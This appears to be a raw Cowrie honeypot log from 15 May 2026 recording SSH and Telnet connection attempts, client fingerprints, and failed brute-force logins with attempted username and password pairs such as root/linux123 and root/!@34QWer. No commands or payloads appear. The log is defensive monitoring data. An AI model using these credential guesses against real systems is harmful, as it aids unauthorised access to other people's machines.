{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:28:38.519921Z","src_ip":"109.91.4.177","session":"e8a29c32033f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.77.124.248","src_port":39848,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9c25aa7a1ed","protocol":"ssh","message":"New connection: 201.77.124.248:39848 (159.203.135.109:22) [session: e9c25aa7a1ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:29:15.678279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:29:15.682918Z","src_ip":"201.77.124.248","session":"e9c25aa7a1ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:29:15.816509Z","src_ip":"201.77.124.248","session":"e9c25aa7a1ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brengoziscute","password":"0day.today","message":"login attempt [brengoziscute/0day.today] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:29:16.376895Z","src_ip":"201.77.124.248","session":"e9c25aa7a1ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:29:17.512095Z","src_ip":"201.77.124.248","session":"e9c25aa7a1ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":59170,"dst_ip":"159.203.135.109","dst_port":22,"session":"17b18233209d","protocol":"ssh","message":"New connection: 109.91.4.177:59170 (159.203.135.109:22) [session: 17b18233209d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:29:18.053995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:29:18.058497Z","src_ip":"109.91.4.177","session":"17b18233209d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:29:18.167747Z","src_ip":"109.91.4.177","session":"17b18233209d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:29:18.922771Z","src_ip":"109.91.4.177","session":"17b18233209d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:29:20.031882Z","src_ip":"109.91.4.177","session":"17b18233209d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":61253,"dst_ip":"159.203.135.109","dst_port":22,"session":"3dd6bc27ad83","protocol":"ssh","message":"New connection: 109.91.4.177:61253 (159.203.135.109:22) [session: 3dd6bc27ad83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:29:59.097571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:29:59.102189Z","src_ip":"109.91.4.177","session":"3dd6bc27ad83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:29:59.209812Z","src_ip":"109.91.4.177","session":"3dd6bc27ad83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pembantu23@@","message":"login attempt [root/Pembantu23@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:30:00.008347Z","src_ip":"109.91.4.177","session":"3dd6bc27ad83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:30:01.118064Z","src_ip":"109.91.4.177","session":"3dd6bc27ad83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54142,"dst_ip":"10.17.0.5","dst_port":23,"session":"8aa407284881","protocol":"telnet","message":"New connection: 50.6.8.71:54142 (10.17.0.5:23) [session: 8aa407284881]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:30:09.610936Z"}
{"eventid":"cowrie.session.connect","src_ip":"60.249.24.10","src_port":40997,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e7ec16516ec","protocol":"telnet","message":"New connection: 60.249.24.10:40997 (159.203.135.109:23) [session: 5e7ec16516ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:30:36.482129Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":60366,"dst_ip":"159.203.135.109","dst_port":22,"session":"5479d4bf3a79","protocol":"ssh","message":"New connection: 109.91.4.177:60366 (159.203.135.109:22) [session: 5479d4bf3a79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:30:39.594985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:30:39.603414Z","src_ip":"109.91.4.177","session":"5479d4bf3a79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:30:39.710864Z","src_ip":"109.91.4.177","session":"5479d4bf3a79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@1234567","message":"login attempt [root/Root@1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:30:40.172545Z","src_ip":"109.91.4.177","session":"5479d4bf3a79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:30:41.284893Z","src_ip":"109.91.4.177","session":"5479d4bf3a79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.449546575546265,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:30:49.931563Z","src_ip":"60.249.24.10","session":"5e7ec16516ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.77.124.248","src_port":40173,"dst_ip":"159.203.135.109","dst_port":22,"session":"f058f066e245","protocol":"ssh","message":"New connection: 201.77.124.248:40173 (159.203.135.109:22) [session: f058f066e245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:30:55.428707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:30:55.433985Z","src_ip":"201.77.124.248","session":"f058f066e245","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:30:55.767753Z","src_ip":"201.77.124.248","session":"f058f066e245","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ls123456","message":"login attempt [root/Ls123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:30:56.341281Z","src_ip":"201.77.124.248","session":"f058f066e245","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:30:57.479081Z","src_ip":"201.77.124.248","session":"f058f066e245","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.21126413345337,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:30:57.822085Z","src_ip":"50.6.8.71","session":"8aa407284881","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":44468,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a27ba1ce0c1","protocol":"telnet","message":"New connection: 50.6.8.71:44468 (10.17.0.5:23) [session: 2a27ba1ce0c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:31:14.952126Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":59596,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0b4e8983eb7","protocol":"ssh","message":"New connection: 109.91.4.177:59596 (159.203.135.109:22) [session: e0b4e8983eb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:31:20.130436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:31:20.135683Z","src_ip":"109.91.4.177","session":"e0b4e8983eb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:31:20.256955Z","src_ip":"109.91.4.177","session":"e0b4e8983eb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jbernal","password":"123456","message":"login attempt [jbernal/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:31:20.788934Z","src_ip":"109.91.4.177","session":"e0b4e8983eb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:31:21.905242Z","src_ip":"109.91.4.177","session":"e0b4e8983eb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59516,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f3b35c21df4","protocol":"telnet","message":"New connection: 50.6.8.71:59516 (10.17.0.5:23) [session: 1f3b35c21df4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:31:45.751448Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35248,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ec87bad7bf1","protocol":"telnet","message":"New connection: 50.6.8.71:35248 (10.17.0.5:23) [session: 1ec87bad7bf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:31:48.865012Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35250,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb9538086d48","protocol":"telnet","message":"New connection: 50.6.8.71:35250 (10.17.0.5:23) [session: bb9538086d48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:31:48.941281Z"}
{"eventid":"cowrie.session.closed","duration":38.0644154548645,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:31:53.016416Z","src_ip":"50.6.8.71","session":"2a27ba1ce0c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":63567,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa17ed488309","protocol":"ssh","message":"New connection: 109.91.4.177:63567 (159.203.135.109:22) [session: fa17ed488309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:32:06.087809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:32:06.092068Z","src_ip":"109.91.4.177","session":"fa17ed488309","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:32:06.200939Z","src_ip":"109.91.4.177","session":"fa17ed488309","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@34QWer","message":"login attempt [root/!@34QWer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:32:07.018769Z","src_ip":"109.91.4.177","session":"fa17ed488309","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:32:08.131462Z","src_ip":"109.91.4.177","session":"fa17ed488309","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41708,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ba42935ab0b","protocol":"telnet","message":"New connection: 50.6.8.71:41708 (10.17.0.5:23) [session: 1ba42935ab0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:32:09.943900Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34726,"dst_ip":"10.17.0.5","dst_port":23,"session":"61fc6ef9b21e","protocol":"telnet","message":"New connection: 50.6.8.71:34726 (10.17.0.5:23) [session: 61fc6ef9b21e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:32:15.746012Z"}
{"eventid":"cowrie.session.closed","duration":35.6771674156189,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:32:21.428475Z","src_ip":"50.6.8.71","session":"1f3b35c21df4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.44843554496765,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:32:24.313352Z","src_ip":"50.6.8.71","session":"1ec87bad7bf1","protocol":"telnet"}
